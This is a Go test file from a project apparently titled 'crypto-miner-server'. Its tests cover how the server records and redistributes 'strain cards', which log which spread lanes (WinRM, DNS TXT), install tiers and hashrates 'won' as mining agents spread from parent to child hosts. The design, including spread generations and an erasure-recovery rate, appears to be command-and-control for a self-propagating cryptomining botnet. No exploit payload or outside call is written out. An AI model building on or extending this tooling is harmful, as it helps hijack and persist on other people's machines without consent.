package api import ( "bytes" "encoding/json" "net/http" "net/http/httptest" "testing" "time" "crypto-miner-server/internal/db" "crypto-miner-server/internal/models" "crypto-miner-server/internal/strategy" ) func TestPublishStrainCardOnWinningPhenotype(t *testing.T) { fh, database, hub, _ := newTestFleetHandler(t) _ = fh root := &models.Agent{ID: "root-agent", Name: "Root", IP: "10.0.1.5", Status: "online", LastSeen: time.Now().UTC()} child := &models.Agent{ID: "child-agent", Name: "Child", IP: "10.0.2.8", Status: "online", ParentAgentID: "root-agent", SpreadGeneration: 1, LastSeen: time.Now().UTC()} for _, a := range []*models.Agent{root, child} { if err := database.UpsertAgent(a); err != nil { t.Fatal(err) } } hub.mu.Lock() hub.agentLiveTelemetry["child-agent"] = map[string]interface{}{ "join_lane": "dns_txt", "mining_hashrate": 750.0, } hub.mu.Unlock() fp := "windows|0|0|0|0|0|10.0.2.x" hub.tryPublishWinningPhenotype( "child-agent", "windows", "10.0.2.8", nil, []struct { Tier string `json:"tier"` OK bool `json:"ok"` Error string `json:"error,omitempty"` DurationMs int64 `json:"duration_ms"` Wallet string `json:"wallet,omitempty"` }{ {Tier: "docker", OK: false}, {Tier: "container", OK: true}, }, 750, "container", "dns_txt", []string{"container", "wsl", "cpu_inprocess"}, ) _ = fp cards, err := database.ListStrainCardsForAgent("child-agent") if err != nil { t.Fatal(err) } if len(cards) != 1 { t.Fatalf("expected 1 strain card, got %d", len(cards)) } var card strategy.StrainCard if err := json.Unmarshal([]byte(cards[0].CardJSON), &card); err != nil { t.Fatal(err) } if card.RootAgentID != "root-agent" || card.SourceAgentID != "child-agent" { t.Fatalf("card tree: %+v", card) } if len(card.Wins) == 0 || card.Persona != "persuasive" { t.Fatalf("card wins/persona: wins=%v persona=%q", card.Wins, card.Persona) } } func TestPostPlayStrainCard(t *testing.T) { fh, database, hub, _ := newTestFleetHandler(t) agent := &models.Agent{ID: "target-agent", Name: "Target", Status: "online", LastSeen: time.Now().UTC()} if err := database.UpsertAgent(agent); err != nil { t.Fatal(err) } conn := connectTestAgent(t, hub, "target-agent") defer conn.Close() card := strategy.BuildStrainCard(strategy.BuildStrainCardInput{ SourceAgentID: "src", SourceAgentName: "Src", SpreadLane: "winrm", TierOrder: []string{"container", "wsl"}, PeakHashrate: 500, }) raw, _ := json.Marshal(card) cardID, err := database.UpsertStrainCard("root-x", "src", raw, dbStoredMetaFromCard(card)) if err != nil { t.Fatal(err) } body, _ := json.Marshal(map[string]string{ "agent_id": "target-agent", "card_id": cardID, }) req := httptest.NewRequest(http.MethodPost, "/fleet/play-strain-card", bytes.NewReader(body)) rec := httptest.NewRecorder() fleetChiRoute(http.MethodPost, "/fleet/play-strain-card", fh.PostPlayStrainCard).ServeHTTP(rec, req) if rec.Code != http.StatusOK { t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String()) } var resp map[string]interface{} if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil { t.Fatal(err) } if resp["success"] != true { t.Fatalf("response: %+v", resp) } } func TestGetStrainCardsByAgent(t *testing.T) { fh, database, _, _ := newTestFleetHandler(t) card := strategy.StrainCard{RootAgentID: "root-a", SourceAgentID: "agent-a", PeakHashrate: 100} raw, _ := json.Marshal(card) if _, err := database.UpsertStrainCard("root-a", "agent-a", raw, dbStoredMetaFromCard(card)); err != nil { t.Fatal(err) } req := httptest.NewRequest(http.MethodGet, "/fleet/strain-cards?agent_id=agent-a", nil) rec := httptest.NewRecorder() fleetChiRoute(http.MethodGet, "/fleet/strain-cards", fh.GetStrainCards).ServeHTTP(rec, req) if rec.Code != http.StatusOK { t.Fatalf("status=%d", rec.Code) } var cards []strategy.StrainCard if err := json.Unmarshal(rec.Body.Bytes(), &cards); err != nil { t.Fatal(err) } if len(cards) != 1 || cards[0].RootAgentID != "root-a" { t.Fatalf("cards=%+v", cards) } } func dbStoredMetaFromCard(card strategy.StrainCard) db.StoredStrainCard { return db.StoredStrainCard{ SourceAgentName: card.SourceAgentName, SpreadStrain: card.SpreadStrain, SpreadLane: card.SpreadLane, Persona: card.Persona, PeakHashrate: card.PeakHashrate, ErasureRecoveryRate: card.ErasureRecoveryRate, TreeSize: card.TreeSize, } }